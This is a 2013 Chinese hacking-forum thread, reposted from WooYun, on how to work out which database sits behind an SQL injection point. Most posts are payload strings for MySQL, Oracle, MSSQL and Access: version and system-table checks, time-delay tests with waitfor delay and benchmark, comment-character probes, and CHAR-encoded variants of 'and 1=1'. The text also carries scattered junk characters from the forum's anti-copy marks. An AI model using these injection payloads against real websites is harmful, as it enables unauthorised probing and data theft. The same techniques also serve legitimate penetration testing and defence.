找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2312|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库0 r. N* f9 c, d; T) o* ~2 J+ \( ~
xsser (十根阳具有长短!!) | 2013-02-05 12:36! C# N  Q% `6 h9 D$ c# l; x
假设这么一个注射点:4 N( _8 v- v) G8 X. {' b% V! b; [
show.html?id=2
7 e) D1 j' ?/ bmysql:id=2 and version()>0) [. h8 V$ I; u3 I& ]
oracle:id=2 and '1'||'1'='11$ K- Z' h! e- K* |% c0 N/ F
其他的欢迎补充
" J' c, e" t) D6 G/ U" |1#+ l7 M6 @' W. F, e& |5 h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
2 F6 `- o& b8 @9 ~Access:
% J" b, s, n' Z1 o( aaNd aSc(cHr(97))=97
& Q* r; q; G' B! V/ jand exists(select id from MSysAccessObjects)% B/ R3 G# ?8 X- r0 m1 B
SQL Server:
# y  \4 z; I3 G5 I+ gand exists(select id from sysobjects)
1 I' z; v+ D3 a' K1 J; A: |. P  P$ fand length(user)>0
6 T- v( k  a  w7 Z8 c- ]8 LMySQL:
  `6 @8 y7 R5 P3 B! W( n7 M- pand length(user())>08 z. N& ]4 z, Y  o$ Y. N- x
2#
5 m/ O* q/ P' k5 h1 B9 z1 `3 {xsser (十根阳具有长短!!) | 2013-02-05 12:48; N) j! J) l' E$ ~/ e. m
@upload 如果这些都不是呢…( A$ B7 F1 O* P) `
3#0 a# p' f( o0 J) j7 I! Q- `2 s
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
0 M% O' D& Z2 X@xsser 不快速的,延时注入
$ c  x7 q. C6 ^' w不知道这样写对不对: y  j, w5 N% u7 m
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
% s& Z. q! S2 }" D" |& p3 G5 A6 mmysql:id=2 and select benchmark(1e8,current_date());# [6 Y9 Q$ t# c- g6 t* l/ W; s+ n
4#7 i" ~8 Z' {8 P" n6 K+ |' J
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:106 F3 i( m7 M0 u' l$ h& a: U
最快的貌似是看报错信息  s! b9 L7 y8 [8 k1 R
oracle error6 L6 U: k$ t" M4 k: I) C. x2 s
mssql error) J% w6 Q  Y$ W( V
mysql error
8 i: Q$ j5 H1 R% ~7 Q, O5#- z- j) f8 d7 h' q% e
Nimda (你们都是坏银~) | 2013-02-05 13:149 o' T% x8 e, {- s; H9 |
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual), [0 T) ]; p# z" S7 T" x- p$ x+ \6 W
6#
; e3 r2 K+ d7 N+ F  ?0 N$ wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
) C+ l4 [1 x0 z* {2 Z* n- @8 T“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
. a  v0 B/ K! h6 I. z“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
- K, O: O5 a1 U1 c“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
* `& {9 d$ o* s8 s- {9 B. L; Y7#
! m7 z; |1 K0 i* Q- {) t+ ~, x_Evil (HackEnd) | 2013-02-05 13:332 O7 N" \& ^* c$ A& M) l
PostgreSQL
' B7 u% \3 |. }3 v, T8#
. H. n" p8 v7 x/ F9 w$ E/ Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( _! ]( Z3 c3 @9 W切换编码 and 1=1: E8 T% Z0 J5 D# m' J
oracle:- d1 Q. x, V( [( [+ S5 J
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)) `; q( [/ @; A1 _1 {. o
mssql:$ P5 r, H* n: c) I
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)) l, [; l6 _$ T, E
mysql:1 D' L+ c6 x. z& \2 J: E
CHAR(97, 110, 100, 32, 49, 61, 49)
4 ?; {3 {) ^: X3 c) ~/ V- ~7 c9#
) W7 B6 G- u. z: ~2 g8 rxsser (十根阳具有长短!!) | 2013-02-05 14:314 @6 t0 `7 B! M  u# D* [
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
- [# S2 j" u' J- ]9 [10#* x1 g" Y3 @7 M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
6 u" j- F) V5 H9 k@xsser 是奇葩数据库类型的么?9 J$ C$ T: n% g* A1 K3 f
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
+ n; z& j+ n( p! E. u1.是否可以使用特定的函数来判断,该数据库特有的
6 Q9 g/ c" M. u2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
0 M7 [0 N. u! v( W2 F5 F$ A3.是否可以编码查询
% G* B" [$ Z0 v8 ]# }4.是否显可以利用错信息
0 q5 B5 ?7 S) w" ~8 j5.是否存在数据库某些特性辅助判断
. B% s0 X4 `$ S+ w( Y/ f. D个人见解' i1 M- u1 N/ S7 M9 i! {
11#5 `6 a6 ~! \' n  o3 Z
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55# M* W/ j; J& F" O' }- B6 D
已收藏,mssql可以直接看到错误提示的吧~
' x  @( H7 O0 j9 ^; R6 s8 _12#
2 L. `' u; h) ~4 ?# OPasser_by | 2013-02-05 15:091 S+ |: s7 x! X, J1 t# \! G, J# F: R
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。0 {8 g: u" Q. W& R! X/ j
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表